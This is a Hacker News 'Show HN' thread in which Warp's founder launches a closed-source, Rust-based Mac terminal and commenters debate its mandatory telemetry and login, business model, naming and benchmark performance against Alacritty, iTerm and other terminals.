[HN Gopher] Show HN: Warp, a Rust-based terminal
___________________________________________________________________
Show HN: Warp, a Rust-based terminal
Hi HN community, I'm Zach, founder and CEO of Warp, and am excited
to show you Warp, a fast Rust-based terminal that's easy to use and
built for teams. As of today, Warp is in public beta and any Mac
user can download it. It works with bash, zsh, and fish. The
terminal's teletype-like interface has made it hard for the CLI to
thrive. After 20 years of programming, I still find it hard to copy
a command's output; I always forget how to use `tar`; and I always
have to relearn how to move my cursor. To fix fundamental
accessibility issues, I believe we need to start innovating on the
terminal, and keep pushing further into the world of shells,
ultimately ending up with a better integrated experience. At Warp
we are building a Rust-based terminal that keeps what's best about
the CLI while modernizing the experience. We've built 1) An input
area that works just like a code editor: selections, cursor
positioning and completion menus 2) Grouped commands and outputs:
so you can easily copy, search, and share terminal outputs 3) AI-
powered Command Generation and Community-sourced Workflows [0]: so
you can find useful commands without leaving the terminal 4) The
ability to share your outputs with teammates: no more pasting long
unformatted code into Slack 5) Project Workflows: save your team's
common commands into your project so your teammates can run them
from Warp See a demo here: [1] We built Warp in Rust with GPU-
accelerated graphics, and along the way we built our own UI
framework, a text editor that's a CRDT, and an out-of-the-box
theming system. You can learn more here [2]. Huge thanks to our
early collaborators: Atom co-founder Nathan Sobo, Nushell co-
founder Andres Robalino, and Fish shell lead developer Peter Ammon.
We are planning to first open-source our Rust UI framework, and
then parts and potentially all of our client. As of now, the
community has already been contributing new themes [3]. And we've
just opened a repository for the community to contribute common
useful commands. [4] Our business model is to make the terminal so
useful for individuals that their companies will want to pay for
the team features. We will never sell your data. We are calling
today's release a "beta" because we know there are still some
issues to smooth out. You will notice that a log-in is required and
that we do collect usage data and crash reports. We do so to enable
team features and also to keep improving the product. Post-beta, we
will allow users to opt out of usage data. You can see our privacy
policy here [5]. While it is a "beta", we are confident that even
today the experience is meaningfully better than in other
terminals. If you use a Mac, please give it a shot at warp.dev and
let us know how it goes. Otherwise, sign up here [6] to be notified
when Warp is ready for your platform. Join our community on
Discord [7] and follow us on Twitter [8] Let me know what you
think! Ask me anything! [0]
https://docs.warp.dev/features/workflows [1]
https://youtu.be/X0LzWAVlOC0 [2] https://blog.warp.dev/how-warp-
works/ [3] https://github.com/warpdotdev/themes [4]
https://github.com/warpdotdev/workflows [5]
https://warp.dev/privacy [6]
https://github.com/warpdotdev/warp/issues/120 and
https://github.com/warpdotdev/Warp/issues/204 [7] warp.dev/discord
[8] twitter.com/warpdotdev
Author : zachlloyd
Score : 540 points
Date : 2022-04-05 16:40 UTC (6 hours ago)
(HTM) web link (www.warp.dev)
(TXT) w3m dump (www.warp.dev)
| nlh wrote:
| This is perhaps slightly orthogonal to the main discussion here
| on this thread, but I have a question for Zach (and the various
| engineers posting on this thread):
|
| Did you guys talk to real-world users while building this and
| before this launch?
|
| This whole blow-up re: your telemetry / open sourcey'ness seems
| like it could have been avoided. I'm curious if you actually
| floated these ideas with real world users and a) everyone else is
| cool with it but the HN crowd is super put off by it, b) everyone
| is super put off by it but you decided to launch anyway, or c)
| you didn't actually check with real-world users and hoped for the
| best.
|
| Sorry if that sounds snarky - it's not my intent. I'm genuinely
| curious here as a product person / entrepreneur / builder, etc.
| deagle50 wrote:
| Smooth scrolling with the Mac trackpad (especially at 120hz+) is
| something I've wanted for a long time, feels really good. Too bad
| about all the usage tracking...
| thatswrong0 wrote:
| I'm going to go against the general negativity nancy grain and
| say: this looks nice. I'd use this. The basic terminal experience
| is _fine_, but it could definitely be a lot better, and this
| seems to improve a lot of the warts that I have using the
| terminal.
|
| Telemetry for a beta? Sure, whatever, y'all are being transparent
| about what is being collected and, as a developer, I can
| definitely understand the desire to collect information about
| usage to improve the experience.
| eyelidlessness wrote:
| Well _I_ think this looks really cool! I'd be interested if it
| just had Blocks and nothing more, but the other headline features
| for individuals sound great too. I'm not sure how much value I'd
| get out of the team features, but I'm certainly open to being
| pleasantly surprised.
|
| And I don't mind using my GitHub account or contributing to
| telemetry during a private beta. I understand why others here
| find that problematic, but I'll probably just use another
| terminal if I need to use/access sensitive data during that
| period.
|
| Looking forward to trying this out! Thank you for sharing.
| zachlloyd wrote:
| Thanks for the positive feedback - let us know how it goes.
| spudlyo wrote:
| Here I am on my free-as-in-freedom operating system, making
| commits with my free DVCS tool in my free text editor, building
| it with my free language toolchain, using my free terminal
| multiplexer with my free UNIX shell.
|
| There is absolutely zero chance that I'm going to do all of this
| using a proprietary closed-source telemetry-sending terminal
| emulator no matter what visual niceties or fancy UI frameworks it
| may offer.
| dabeeeenster wrote:
| Why is the mac binary 140MB?!
| Narishma wrote:
| Rust tends to generate huge binaries by default.
| fareesh wrote:
| Terminal need to be instant. This kind of stuff seems like it
| will make it painful to use.
| cosmiccatnap wrote:
| I feel like an outcast whenever someone tries to reinvent
| something that has worked fine for ages now. I would happy use
| gnome-terminal or urxvt or windows terminal or whatever and it
| basically works the same for me. Can't I set a font and maybe
| color scheme? Then who cares just grab iTerm2 and get work done.
| uhtred wrote:
| I don't want my terminal to look and feel like a react app. My
| terminal is where I go to escape from the modern world.
| gregschlom wrote:
| This looks awesome. Would love Windows support, though.
| IgorPartola wrote:
| lnxg33k1 wrote:
| I heard it can type commands before you know you need to type
| them
| IgorPartola wrote:
| I heard that it can silently correct your buffer overflow
| bugs without you even knowing. And it writes good git commit
| messages too.
| gjvc wrote:
| as long as it's not electron. tilix is my weapon of choice, and
| that's written in D.
| lnxg33k1 wrote:
| I use just about anything that can run tmux, so I can use the
| same settings and shortcuts everywhere, to me a terminal that
| only support an OS is close to being as useful as a fork in
| the soup
| KSPAtlas wrote:
| Still looking for a lisp terminal emulator but right now, I
| use st
| donio wrote:
| Emacs has several. M-x term is elisp all the way down, M-x
| vterm uses libvterm but it's still very customizable and
| expandable on the Lisp side.
| [deleted]
| bentobean wrote:
| Oh boy, a terminal that I have to pay a monthly fee to use. Can't
| wait.
| michlim wrote:
| Warp engineer here. Warp is actually free for individuals.
|
| Our business model is to make the terminal so useful for
| individuals that their companies will want to pay for the team
| features. Even those will likely be free up to some level of
| usage and only charged in a company context.
| smoldesu wrote:
| I look forward to a fork that strips out all the network
| access and SaaS options. Then I might be interested.
| metadat wrote:
| Isn't this called Alacritty?
| ilovecaching wrote:
| Closed source, sends my personal data out on the network, exists
| in a space with tons of great options already like Alacritty,
| Kitty, Foot, (I mean if you're on a Mac Terminal.app is actually
| nice albeit closed source). No reason for me to give you my data
| (which includes stuff I do for work) for whatever conveniences
| you're shilling.
|
| That's a nope from me Dog.
| jdeaton wrote:
| Looks absolutely disgusting.
| Aaronstotle wrote:
| Feels strange that I have to sign-in to a terminal
| cercatrova wrote:
| If you want to use a terminal that is actually open source and
| doesn't have telemetry, much less only available via signing in
| with GitHub, use Alacritty, also written in Rust and cross
| platform.
|
| https://github.com/alacritty/alacritty
| esrh wrote:
| It is a little bit unfortunate that alacritty is licensed under
| Apache, which means it can be forked into proprietary software
| like this. If it was gpl like kitty, the authors would have had
| no choice but to make it fully open source from the start.
| w4rh4wk5 wrote:
| They would not have used alacritty in that case.
| jamespwilliams wrote:
| I use alacritty every day, it's the best terminal emulator I've
| come across.
|
| That said, it's not perfect. For example it lacks font ligature
| support, and there appears to be no prospect of that being
| implemented. I don't care about ligatures that much anyway, so
| no big deal for me, but for others it is.
|
| My experience using terminal emulators is that they are all
| flawed in at least one way. Whether it's lack of true colour
| support; lack of ligature support; weird text rendering; weird
| colours; confusing configuration; etc. I feel like a terminal
| supporting all of those things must be possible, but I haven't
| come across it yet.
| cercatrova wrote:
| Kitty has the features you're looking for, such as font
| ligature support. If you're on Windows, I just use the
| Microsoft Terminal.
| Aeolun wrote:
| Or Kitty, which does more or less the same things but includes
| split and tabs and other convenience features.
| Deukhoofd wrote:
| Or alternatively wezterm, also open source, without telemetry,
| in Rust, and cross platform.
|
| https://github.com/wez/wezterm
| zhengt wrote:
| First of all, we love Alacritty: our terminal model code is
| based on Alacritty's model code. We're grateful that a few of
| the collaborators reviewed our early design docs.
|
| We think the two products are meant for two different
| audiences.
|
| Alacritty has a very minimalist philosophy that suits some
| terminal power users very well. It's geared towards folks who
| are familiar with more advanced tools like tmux, and who are
| comfortable doing advanced configuration in the shell. For
| instance, Alacritty has no tabs: users are expected to use
| tmux.
|
| With Warp, you get similar performance to Alacritty (we are
| both Rust-based, GPU-accelerated native apps, and Warp
| leverages some of Alacritty's model code) But you also get many
| more built-in features that we think make all developers more
| productive, like:
|
| - Blocks (grouping commands and outputs together)
|
| - A modern text editor for your input
|
| - Features like Workflows and AI command search that help you
| perform tasks faster
|
| - Tabs, native split panes, and menus
| skratlo wrote:
| This is bullshit.
|
| > The terminal's teletype-like interface has made it hard for the
| CLI to thrive
|
| bullshit
|
| > user accounts to just run a terminal?
|
| bullshit
|
| > collaboration
|
| bullshit ...
| booi wrote:
| Actually I would say collaboration is a huge win. Right now we
| do shared screens when we have to do some CLI operation.
|
| I know and have worked at companies with very complicated
| setups for CLI-based workflows where you need 2 people to agree
| for each command. This could potentially solve all of that.
|
| That being said, with the move to containers there's a lot less
| CLI surgery to do.
| iskamag wrote:
| But hasn't collaboration and stuff been a thing for as long
| as time-sharing machines have? Besides, Service as a Software
| Substitute is NEVER a good idea, I don't want to go to
| someone else's server to do something I could on my own,
| especially when I have to pay taxes for it... By the way, can
| you define "CLI surgery" for me? I used Unix for a while but
| haven't played with containers beside chroot jails, and I
| suspect all that is just your company overcomplicating simple
| things.
| benreesman wrote:
| I want to like this, and clearly a lot of work went into it, but
| the existing tooling here has gotten _so good_ lately, without
| losing any of the power user affordances.
|
| WezTerm is crazy fast with GPU-accelerated ligatures, mcfly has
| an NN in it that startles me, fzf, rg, bat. Everything has
| bash/zag/fish autocomplete in it now. tmux customization has
| become a high art form, VSCode has forced all the best language
| tooling features in vi and emacs.
|
| There's definitely a renaissance of the terminal happening, I
| just think it's fueled more by the Rust community having found
| its first killer use case/thin end of the wedge into all our
| lives by pimping our ride on the terminal experience than
| corporate backing.
|
| Best of luck to these folks, but I hope they're aware of Lucid
| and have its outcome incorporated into their plan. They did great
| stuff but a bunch of GNU people with something to prove built it
| in the bazaar.
| timmg wrote:
| I've been using this for personal projects (I use Linux at work
| -- which isn't yet supported). It's really nice, actually. It
| just kinda brings the terminal more in line with what you'd
| expect from a modern application. I can't wait to see where it
| goes.
|
| I think they are planning a lot of work for teams. Some people
| hate IDEs, but I love them. I see this as IDE-izing the terminal.
| apeace wrote:
| Just gave it a spin. Pretty cool, but I upvoted this issue:
| https://github.com/warpdotdev/Warp/issues/755
|
| Not going to be usable for me unless that's fixed, or at least
| made into a setting. Certain directory structures are built deep
| into my muscle-memory now, and I feel crippled when the auto-
| complete does something different than what I'm used to.
| alokedesai wrote:
| Thanks for flagging that! There's a long-tail of completion
| improvements in Warp that we'd like to fix in the coming
| weeks/months. We'll make sure this gets fixed!
| rbanffy wrote:
| It's nice, but a lot of what it does could be exposed to other
| terminals as well without being so tied to Alacritty.
| sam0x17 wrote:
| Really appreciate that Linux support is on the roadmap. Was going
| to flame for yet another mac-only app, but looks like cross-
| platform support is on the horizon so appreciate it!
| michlim wrote:
| Thank you :) We are looking forward to build that.
|
| Rust has pretty extensive platform support, which makes it
| relatively simple for us to do that.
| qeternity wrote:
| They've raised $23m?!? Uhhh
| michlim wrote:
| Yeah it might seem like a crazy amount.
|
| Building a terminal is hard. We have to build feature parity,
| maintain a stable terminal-shell interface, on top of
| modernizing the product experience. The money allows us to hire
| engineers to work on this project full-time and create a great
| product experience.
| qeternity wrote:
| I don't doubt any of that. The amount seems crazy not because
| of the potential costs, or ability to invest in the product,
| but rather due to TAM.
|
| But nobody would lead a round of that size without a decent
| monetization strategy. I suspect enterprise focus around
| security / IAM integrations (hence all the telemetry).
| michlim wrote:
| Cool.
|
| Actually the telemetry has nothing to do with our
| monetization.
|
| Enterprise is right. We are monetizing through team and
| enterprise features. We are planning to build among others:
|
| - Sharing hard-to-remember workflows within your team
|
| - Wikis and READMEs that run directly in the terminal
|
| - Session sharing for joint debugging
| booi wrote:
| I think putting real enterprise focus on the terminal is a
| good thing but I'm not sure that's the right place for IAM
| or other security integrations. The terminal is just the
| GUI rendering on top of the actual tool (bash/zsh etc.) The
| security probably needs to be at the door (ssh/https etc).
| bentobean wrote:
| I know, right? What's some random, core, local utility that we
| rely on every day that we can cloudify and attach a service fee
| to?
|
| _puts on thinking cap_
| qeternity wrote:
| At least it's not electron
| dogleash wrote:
| I think you could build a really good terminal if you had $23M
| to piss away.
|
| I strongly doubt you can create a good terminal if it also
| needs a business model that can recoup $23M.
| qbasic_forever wrote:
| If you squint this isn't that far different from rundeck,
| ansible tower, etc. or other devops platforms that focus on
| collaborative management and maintenance of machines,
| services, etc. If they market to the kubernetes space in
| particular I suspect there's a market for devops teams there
| --the ecosystem is flooded with CLI tools and best practices
| but very little primary panes of glass to manage them all or
| tie them together. It's not too far of a jump to start
| offering a managed cloud service with these services.
| calvinmorrison wrote:
| I don't doubt you could have a single, family supporting
| business supporting a piece of software. Like, I am rabid to
| pay $20 for a license to any software I can run by a small
| guy.
| Yoofie wrote:
| This is what stunned me. Apparently a bunch of SV rich people
| have so much cash to light on fire that they are funding stuff
| like this.
|
| Jeez, I have a crap-ton of half baked ideas and a bridge that I
| would love to sell.
| [deleted]
| digisign wrote:
| ((Record scratch sound))
|
| Looks really neat. But there's a dissonance between the
| positioning here vs. the audience it is intended for. The
| community of folks interested in using a terminal is largely one
| of grizzled veterans that significantly overlap with security
| (conscious) folks.
|
| Overlap with Instagram influencers living their best life in
| public is approximately nil. :)
|
| I suppose there are newbie developers that don't know better, but
| are already using vscode and use the built-in term if they even
| bother. I could see cloud features and telemetry being useful
| however as an opt-in _separate_ install.
|
| So, I'd dial back the idea that "modern" means giving in to the
| surveillance dystopia.
|
| Bonus points if you get it running under OS/2.
|
| Also, was just reading about how Flynn couldn't get funded, that
| made me a bit sad.
| poink wrote:
| > But there's a dissonance between the positioning here vs. the
| audience it is intended for.
|
| I don't think so. I think they're running the same playbook as
| most investor-backed dev tool companies. They just forgot
| you're supposed to reach critical mass _before_ you start the
| mandatory invasive data harvesting.
| chimen wrote:
| The terminal is where I input my ssh passwords, my sudo
| passwords, crypto stuff, ssh keys and much more sensitive data.
| The fact that you even considered collecting stuff from me while
| using it is insane. I don't trust your promise to never "sell my
| data" and I don't trust that the next one which will buy your
| company when you decide to "exit" will do the same (I will when
| it's fully open source but that's not the case is it?). We
| shouldn't be talking about telemetry and data collected on a
| terminal to begin with.
|
| Good luck with your product but HN does take privacy somewhat
| serious, I know I do.
| [deleted]
| websap wrote:
| VSCode collects stats and that's where all the proprietary code
| of your company is. As long as there is a kill switch, I feel
| this community is focusing too much on this.
| wildmanx wrote:
| Have you missed the data breaches left and right in recent
| ... years?
| websap wrote:
| That's why I'm advocating for a kill switch. I think its
| reasonable for developers of desktop application to collect
| some reasonable amount of anonymized information to improve
| the product, as long as they allow users to clearly opt-
| out, that's the best of both worlds.
| michaelmrose wrote:
| If its 1970 and everyone smokes and leaded gas was everywhere
| in the US this doesn't imply that taking up smoking or leaded
| gas is a reasonable choice it implies rather that people are
| on average stupid and you should evaluate something other
| than whether a choice is popular.
| einpoklum wrote:
| > I'm Zach, founder and CEO of Warp
|
| You started a company to write a terminal app? I'd say that's
| either misguided, or you have something underhanded planned.
|
| > any Mac user can download it.
|
| Any _Mac_ user? Sounds fishy.
|
| > The terminal's teletype-like interface has made it hard for the
| CLI to thrive.
|
| Isn't that an anti-tautology? Hmm.
|
| > An input area that works just like a code editor
|
| Why wouldn't I just use a code editor? We are talking about an
| app for graphical desktop environments, right?
|
| > ... with GPU-accelerated graphics
|
| That you wrote especially for this app? I don't know...
|
| > We are planning to first open-source our Rust UI framework, and
| then parts and potentially all of our client.
|
| A _closed-source_ terminal app? Nuh-uh. You're up to no good.
|
| ----
|
| And after noticing those red flags, I read @orastor's post about
| the app connecting to all sorts of servers.
| enriquto wrote:
| Why would I care that it's written in Rust if I can't even
| download the source code? I have a Rust compiler but I can't run
| this terminal. This is a stupid project and false advertising.
| lowbloodsugar wrote:
| Confusing name, as warp is a Rust crate for web applications:
| https://crates.io/crates/warp
| jiggawatts wrote:
| While it's entertaining to see Warp get excoriated for telemetry,
| keep in mind that they're doing what everyone else is. The new
| Windows Terminal has _opt-out_ telemetry, as does PowerShell 7,
| .NET Core, and well... pretty much everything Microsoft ships
| these days has telemetry on by default. Last I checked, a fairly
| basic Windows + Office setup has 200+ individual sets of
| telemetry.
|
| To get this veritable torrent of information past those "pesky"
| secops people, they resort to underhanded tricks like using host
| names like "microsft.com" to bypass firewall rules blocking
| "microsoft.com".
|
| It is borderline impossible to stop telemetry in a typical
| corporate environment without heroic, ongoing vigilance from a
| rabid sysadmin foaming at the mouth about privacy.
|
| This is the new normal. Get used to it, or do something about it.
| lytedev wrote:
| No, do not get used to this. And you can do something about it
| by calling it out and letting them know you do not want this.
|
| And don't use it until it changes.
| timcavel wrote:
| sebow wrote:
| Damn, i knew it was a mac-first product but i really hoped for a
| linux release. Guess it does makes sense to attack the market
| with more money, but still.
| johnmarcus wrote:
| You want to collect usage data from my terminal? I'ma nope right
| outta there.
|
| And I don't want to tie my github to this thing, i have all sorts
| of github accounts for legitimate reasons.
|
| I would be glad pay a lifetime licence fee (maybe with a 30 day
| money back guarantee?) to check it out, but no way am i going to
| do a subscription model for my terminal.
| willbw wrote:
| I'm using Fish with vim mode and something seems to have gone
| wrong, where the prompt displays the currently mode of vim (here
| [I] for insert) your terminal seems to interpret this as a
| command, so nothing works unless I delete the [I] at the start of
| the line. [I] [I]ls fish: Unknown command:
| '[I]ls'
| kortex wrote:
| Not much new to say, just my $0.02.
|
| - Love the idea overall of a fresh, new shell. I love novelty,
| features, ergonomics, and this pushes all the right buttons
|
| - Looks gorgeous
|
| - The mandatory Github login is...weird. I don't mind logging in,
| but it seemed unskippable, and conceptually that leaves a bad
| taste.
|
| - Mandatory telemetry...ehhh. Like I get it, I use Sentry and
| OTEL, I love the visibility, and I get exactly why you want it in
| the beta, but ehhhh, really bad look. Especially in this
| community. Also the privacy policy doesn't seem to be linked from
| the app. I can get to it, but would be nice to just go there
| right from the about page. On the whole...I find it tolerable,
| but I don't work in a _highly_ sensitive field at the moment. At
| $LASTCO, that would be a complete nonstarter. Between the squick
| factor and compliance, it would be good to at least allow some
| amount of opt-out on the phone home.
|
| - I would easily pay $20-50 for a souped-up terminal (I spend all
| day in it), even a closed-source one, but the "we raised tons of
| money to build a free terminal and haven't figured out how to
| monetize it yet", again, understandable, but not the best look,
| given the mandatory data collection. Hey, dev's gotta eat, but
| I'd rather pay for OSS and transparency, rather than free-but-
| you-are-the-product, and I hope they go for the former route.
| zhengt wrote:
| Appreciate you writing in!
|
| > I would easily pay $20-50 for a souped-up terminal (I spend
| all day in it), even a closed-source one, but the "we raised
| tons of money to build a free terminal and haven't figured out
| how to monetize it yet", again, understandable, but not the
| best look, given the mandatory data collection. Hey, dev's
| gotta eat, but I'd rather pay for OSS and transparency, rather
| than free-but-you-are-the-product, and I hope they go for the
| former route.
|
| The terminal is totally free for individuals. Our business
| model is to make the terminal so useful for individuals that
| their companies will want to pay for the team features.
|
| The general philosophy is that we would never charge for
| anything a terminal currently does. So no paywalls around SSH
| or anything like that. The types of features we could
| eventually charge for are things that have a cost to us, for
| example enabling real-time terminal collaboration. Even those
| will likely be free up to some level of usage and only charged
| in a company context.
|
| We will never sell your data.
|
| > Also the privacy policy doesn't seem to be linked from the
| app. I can get to it, but would be nice to just go there right
| from the about page.
|
| The privacy policy is linked from the login screen and it's
| also one of the first items in our user docs.
| dudus wrote:
| Can you share a bit on pricing strategy and what parts of it will
| be free vs paid?
| carreau wrote:
| Have you seen https://acko.net/blog/on-termkit/ from 2011 ?
| Comments from around this time on various site may give you
| insight.
| emerged wrote:
| How to make me completely lose interest in a piece of software:
| Announce it as being Rust based as if that's an important feature
| I should care about.
|
| At least it isn't a blockchain terminal I guess
| prawspeed wrote:
| The "no more walls of text" thing is huge! Thank you! (I don't
| care about it phoning home to report I opened a new tab while
| it's in beta.)
| zhengt wrote:
| Thanks for your response. Let us know how it goes with the app!
| renewiltord wrote:
| Hello, your product looks cool and I don't care about telemetry
| as it looks here. However, what is your ultimate business model?
| For tools like this I would prefer either a single purchase or a
| Jetbrains style annual-pay-with-fallback-licence.
| alokedesai wrote:
| Hey, thanks for the kind words!
|
| The terminal is totally free for individuals. Our business
| model is to make the terminal so useful for individuals that
| their companies will want to pay for the team features.
|
| The general philosophy is that we would never charge for
| anything a terminal currently does. So no paywalls around SSH
| or anything like that. The types of features we could
| eventually charge for are things that have a cost to us, for
| example enabling real-time terminal collaboration. Even those
| will likely be free up to some level of usage and only charged
| in a company context.
| renewiltord wrote:
| Alok, would you guys make me a build without the Github
| login? I'm just unreasonably protective about mine on account
| of having trading code there.
|
| I'll have someone Venmo you $50 for it (and gas fees haha).
| renewiltord wrote:
| Dope. I shall install this.
| bitwize wrote:
| Why do I get the sinking feeling that the comments here are going
| to turn out to be like "No wireless. Less space than a Nomad.
| Lame."; and despite looking like the Juicero of terminal
| emulators now, Warp will be table stakes for any upcoming
| developer 10 years from now, who will be unable to fathom using a
| bare shell in xterm or even something like Kitty?
| hu3 wrote:
| What makes you think that other terminals like
| https://github.com/alacritty/alacritty or
| https://github.com/kovidgoyal/kitty can't catch-up in features?
|
| For one, closed-source is a non starter to many and I only see
| this trend going up.
|
| No, this is not a dropbox-like launch. And criticism seems
| pretty fair so far.
| calvinmorrison wrote:
| "All data encrypted at rest".
|
| why does my terminal have any data besides a config file, and why
| does it need access to the internet at all?
|
| next!
| a5aAqU wrote:
| There's already a major Rust project named warp with over 6,000
| stars on Github:
|
| https://github.com/seanmonstar/warp
|
| It seems like you're going to confuse people and crush someone's
| established project with your $17m. "Warp" + "Rust" is a web
| framework.
| chewbacha wrote:
| It's unfortunate that the name conflicts with an HTTP library in
| rust already: https://crates.io/crates/warp
|
| Otherwise, it looks neat.
| cercatrova wrote:
| Yep, this is what I first thought of when the title said Rust.
| alokedesai wrote:
| We had actually already picked the name before we settled on
| using Rust, but we think the warp server framework is great and
| actually used to use them as a dependency at one point in time
| xanaxagoras wrote:
| > Sign In
|
| > By continuing you are agreeing to our Terms of Service and that
| Warp can collect usage data.
|
| lol, no
| [deleted]
| rbanffy wrote:
| What bothers me is that it blends the lines between shell and
| terminal. A lot of the functionality could be exposed in a more
| terminal-neutral way.
| OtomotO wrote:
| > Our business model is to make the terminal so useful for
| individuals that their companies will want to pay for the team
| features. We will never sell your data.
|
| So, don't collect it to begin with, so even if you get bought the
| data can't be sold, because there is none?
|
| Ah wait...
| jakswa wrote:
| Odd naming choice. "Warp" is already a rust crate and it's
| sitting at many more stars than this product
| https://github.com/seanmonstar/warp
| qbasic_forever wrote:
| I love the idea of mixing terminal and documentation, kind of
| like a terminal notebook. I wish there was an open source project
| that was basically just a shell/bash jupyter notebook and nothing
| more. So many little scripts, makefiles, project setups, etc.
| would be way easier to understand and maintain if they were
| mostly markdown documentation with some big "Run this" buttons
| next to the code blocks.
| ushakov wrote:
| https://en.m.wikipedia.org/wiki/Man_page
| qbasic_forever wrote:
| If there's a 1970's technology in bad need of an update, it's
| the man page format IMHO. Markdown is far easier to quickly
| learn and write.
|
| But you completely missed my point of computational notebooks
| + shell and I'll just respond in kind with a link that you
| should research yourself:
| https://en.wikipedia.org/wiki/Project_Jupyter
| akho wrote:
| There is a bash kernel for Jupyter.
| mfashby wrote:
| The name collides with a web framework (also in Rust)
|
| https://lib.rs/crates/warp
| syncerr wrote:
| correct me if i'm wrong, but it sounds like the monetization
| strat here is to sell this to companies for their teams to use to
| increase collaboration. it would follow then that most-everything
| (?) i'm doing is being mirrored to a remote server. presumably,
| your target market would be engineers.
|
| if true, as an engineer, i'm a hard pass.
| wodenokoto wrote:
| It looks great. If I can live with sublimetext being closed
| source I'm sure I can live with my terminal also being closed
| source.
|
| Heck the windows terminal and macOS terminal are closed source
| and I use them everyday.
| andymac4182 wrote:
| Microsoft open sourced their terminal components a little while
| ago https://github.com/microsoft/terminal The team at Microsoft
| managing this are super responsive on Twitter
| https://twitter.com/DHowett https://twitter.com/cinnamon_msft
| hu3 wrote:
| fyi Windows Terminal is open-source and has 82k github stars
|
| https://github.com/microsoft/terminal
| zhengt wrote:
| Warp engineer here - Thanks for your response!
|
| It's too early right now, but we are definitely going to open
| source parts and potentially all of the code.
| ChrisArchitect wrote:
| Another Mac-only terminal? ok!
| rubyist5eva wrote:
| I got into early access and I really wanted to switch but there
| was a few major things blocking me:
|
| 1. this desparately needs multiple profiles where I can customize
| the command that is launched (ie. with iTerm2 I have keyboard
| shortcuts mapped to a profile which launches SSH instance to our
| various aws environments)
|
| 2. powerlevel10k doesn't work (dealbreaker)
| johnnypangs wrote:
| Anyone know how this lines up to other terminals performance
| wise. I've been pretty happy with alacritty, but would be willing
| to try a terminal with more features.
|
| https://github.com/alacritty/alacritty
| bspammer wrote:
| What do performance problems in a terminal even look like?
|
| I feel like a crazy person in this thread because I've
| literally never had the thought: "I could be so much more
| productive but this damn terminal is slowing me down".
| Aeolun wrote:
| Hmm, I've definitely had commands run in the terminal that
| were speed limited by how fast the terminal could output the
| results.
| zhengt wrote:
| The terminal is a surprisingly performance intensive
| application. When we built an initial prototype in electron,
| it was struggling to render full screens of text output on
| large screens. We want to support 144 fps on 4K monitors.
|
| Additionally, Warp has GUI elements like blocks and context
| menus. We talk about performance because when we discuss our
| features, people automatically assume it's going to be
| sluggish.
| spudlyo wrote:
| Imagine you're using a terminal based text editor full-screen
| with say 364 columns and 77 rows. You've got it nicely split
| into three vertical windows for code, with a tree display a
| fort window on the left-hand side. One of these three code
| windows is split horizontally and is tailing a log file, and
| you're quickly paging through code on another.
|
| This is a lot of terminal I/O, and you want this scrolling to
| be fast, smooth, and to not flash or blink awkwardly.
|
| I do this because I'm running my editor on a remote machine
| over SSH, which has a ton of cores, memory, and fast disk.
| Just firing up the LSP server on this giant monorepo causes
| the fans on my laptop to spin like crazy and takes forever to
| initialize. Blazing fast on this remote host.
| vidarh wrote:
| It matters if you regularly dump huge amounts of text to the
| terminal. In other words it rarely matters to most people. In
| fact, if it did, more people would realise that the terminals
| they use are often quite slow compared to ones like e.g rxvt.
|
| Most terminals don't even implement most well understood
| "hacks" to keep up with the apps they're running (e.g.
| "render" to a text buffer and render the text buffer to the
| screen separately and decoupled (multiplex or on separate
| threads)), because people rarely are affected enough to care.
| theobeers wrote:
| Don't forget WezTerm, which is imo the best of the recent crop
| of GPU-accelerated terminal emulators implemented in Rust (with
| built-in multiplexing!):
|
| https://wezfurlong.org/wezterm/
|
| Having now tried Warp, I think it's fine. I doubt performance
| will be a problem. What concerns me more is that it's not open-
| source.
| Keyframe wrote:
| Kitty is awesome, but no windows if you're into that. Alacritty
| awesome as well, but minimalistic and rust which I have no idea
| why it matters in OPs post or in general.
| webstrand wrote:
| I appreciate memory safety in applications that handle and
| interpret data controlled by third-parties. Kitty and
| Alacritty stand apart as written in memory safe languages,
| unlike the vast majority of terminal emulators which are
| written in C/C++. Doesn't mean their bug-free, but they're
| less likely to have trivial RCE vulnerabilities.
| ptomato wrote:
| Kitty is written in C, afaik.
| brobdingnagians wrote:
| It's a mix of Python and C
| alokedesai wrote:
| Good question! We did an initial benchmark of scrolling back in
| July against Terminal, iTerm, Hyper, Kitty, and Alacritty, if
| you're interested: https://www.warp.dev/blog/how-warp-works.
|
| We started by forking Alacritty's model and parser and because
| we have a similar architecture (Rust-based, rendered on the
| GPU) we should generally be at, or near, the performance of
| Alacritty.
| monkeytaco wrote:
| I just ran a quick test using Casey Muratori's termbench
| (https://github.com/cmuratori/termbench) you are an order of
| magnitude slower than Alacritty, and also significantly
| slower than iTerm. Warp also locks up pretty severely and
| only shows a new frame once every few seconds during most of
| the run.
|
| Alacritty
|
| CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
|
| VT support: no
|
| ManyLine: 1.5670s (0.0399gb/s)
|
| LongLine: 1.1261s (0.0555gb/s)
|
| FGPerChar: 0.3293s (0.0551gb/s)
|
| FGBGPerChar: 0.6598s (0.0534gb/s)
|
| TermMarkV2 Small: 3.6822s (0.0484gb/s)
|
| iTerm
|
| CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
|
| VT support: no
|
| ManyLine: 13.2968s (0.0047gb/s)
|
| LongLine: 3.6535s (0.0171gb/s)
|
| FGPerChar: 1.8944s (0.0096gb/s)
|
| FGBGPerChar: 2.8304s (0.0125gb/s)
|
| TermMarkV2 Small: 21.6750s (0.0082gb/s)
|
| Warp
|
| CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
|
| VT support: no
|
| ManyLine: 9.6199s (0.0065gb/s)
|
| LongLine: 8.3727s (0.0075gb/s)
|
| FGPerChar: 8.1124s (0.0022gb/s)
|
| FGBGPerChar: 6.0873s (0.0058gb/s)
|
| TermMarkV2 Small: 32.1924s (0.0055gb/s)
| mitrandir77 wrote:
| I've tried one very basic terminal rendering benchmark I
| had at hand [1] and on my MacBook Pro it was 17x faster
| than iterm and 3x faster than wezterm which is my daily
| driver.
|
| https://github.com/wez/wezterm/issues/192
|
| So it's not all that bad ;)
| alokedesai wrote:
| Yeah, this is a known issue, unfortunately--but it's
| definitely something we want to fix as we improve Warp. See
| more information here where we chat with Casey about it: ht
| tps://twitter.com/zachlloydtweets/status/14175482714432348.
| ..
| Aeolun wrote:
| > we should generally be at, or near, the performance of
| Alacritty
|
| > evidence that it's not
|
| > Yeah, this is a known issue
|
| I don't want to be critical, but which is it? If you know
| you are not anywhere near the performance, why say you
| are?
| bitwize wrote:
| > If you know you are not anywhere near the performance,
| why say you are?
|
